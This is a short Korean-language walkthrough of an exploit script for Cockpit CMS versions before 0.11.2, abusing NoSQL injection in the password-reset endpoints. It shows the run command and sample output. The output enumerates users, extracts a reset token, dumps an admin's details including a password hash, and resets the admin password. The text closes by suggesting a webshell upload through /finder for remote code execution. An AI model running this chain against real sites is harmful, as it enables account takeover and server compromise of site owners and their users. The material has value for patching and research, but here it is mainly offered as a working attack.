
CVE-2020-35847, CVE-2020-35848 : 계정 탈취
0.11.2 버전 이전의 Cockpit CMS는 /auth/resetpassword 및 /auth/newpassword에서 NoSQL 인젝션 취약점에 취약하며, 이를 통해 비밀번호 재설정 토큰을 추출하여 사용자 세부 정보 열거 및 비밀번호 재설정이 가능합니다.
이 Python 스크립트는 시스템의 사용자를 열거하고 비밀번호를 재설정합니다.
python3 exploit.py -u http://cockpit-site-url
이 스크립트는 먼저 시스템의 사용자를 열거합니다.
[+] http://cockpit-site-url: is reachable
[-] Attempting Username Enumeration (CVE-2020-35846) :
[+] Users Found : ['admin', 'user1', 'user2', 'user3']
그런 다음 추가 정보를 수집할 사용자를 선택할 수 있습니다. 또한 해당 사용자에 대한 재설정 토큰을 생성하며, 이는 비밀번호 재설정의 핵심 요구 사항입니다.
[-] Get user details For : admin
[+] Finding Password reset tokens
Tokens Found : ['rp-4e82b990aff752bfb1dc9845d5338f6e610d0608bb75e']
[+] Obtaining user information
-----------------Details--------------------
[*] user : admin
[*] name : Admin
[*] email : [email protected]
[*] active : True
[*] group : admin
[*] password : $2y$10$6uQ2PXh4vShH.D4gw..WtO0NHQq7J36ugmwKNtJGzu9p9OqSEpVUW
[*] i18n : en
[*] _created : 1621655201
[*] _modified : 1621655201
[*] _id : 60a87ea165343539ee000300
[*] _reset_token : rp-4e82b990aff752bfb1dc9845d5338f6e610d0608bb75e
[*] md5email : a11eea8bf873a483db461bb169beccec
--------------------------------------------
마지막으로 사용자의 비밀번호를 재설정하도록 선택할 수 있습니다.
[+] Do you want to reset the passowrd for admin? (Y/n): y
[-] Attempting to reset admin's password:
[+] Password Updated Succesfully!
[+] The New credentials for admin is:
Username : admin
Password : new_random_password
그런 다음 /finder 구성 요소에 웹셸을 업로드하여 RCE를 획득하도록 선택할 수 있습니다.